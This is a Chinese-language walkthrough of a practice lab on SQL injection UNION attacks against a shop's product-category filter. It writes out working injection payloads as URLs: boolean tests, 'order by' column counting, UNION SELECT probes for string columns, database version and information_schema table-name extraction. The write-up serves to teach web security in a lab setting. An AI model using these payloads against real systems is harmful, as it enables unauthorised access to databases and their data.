文章目录
前言:
实验室标题为:
SQL 注入 UNION 攻击,查找包含文本的列
等级:执业者
简介:
本实验室的产品类别过滤器中存在 SQL 注入漏洞。查询结果会在应用程序的响应中返回,因此可以使用 UNION 攻击从其他表中获取数据。要构建这种攻击,首先需要确定查询返回的列数。您可以使用在以前的实验室中学到的一种技术来实现这一点。下一步是确定与字符串数据兼容的列。
本实验将提供一个随机值,您需要让该值出现在查询结果中。要解决该实验问题,请执行 SQL 注入 UNION 攻击,返回包含所提供值的附加行。此技术可帮助您确定哪些列与字符串数据兼容。
进入实验室
页面显示为商店页面
构造 payload
尝试闭合
单引号+注释符,页面返回正常
and 1=2 判断
https://xxxxx/filter?category=Gifts' and 1=2 --
and 1=1 页面返回正常,and 1=2 页面返回空白,说明存在 SQL 注入
order by 排序
https://xxxxxx/filter?category=Gifts' order by 3 --
order by 3 页面返回正常,说明有 3 列数据
union 联合查询
https://xxxxx/filter?category=Gifts' and 1=2 union select null,'aaaa',1111 --
经过测试可知存在两个可见输出点,可以利用的输出点只有第二个为字符串类型,第三个输出点位数字型
查看版本
https://xxxxx/filter?category=Gifts' and 1=2 union select null,version(),1111 --
接着获取表名
https://xxxxx/filter?category=Gifts' and 1=2 union select null,table_name,1111 from information_schema.tables --
但是该实验室的目的并不是获取表种的数据
在页面上方提供了一个字符串’PFm4Oy’
在简介中提到,本实验将提供一个随机值,需要让该值出现在查询结果中
修改 payload
https://xxxxx/filter?category=Gifts' and 1=2 union select null,'PFm4Oy',1111 --
此时显示成功通关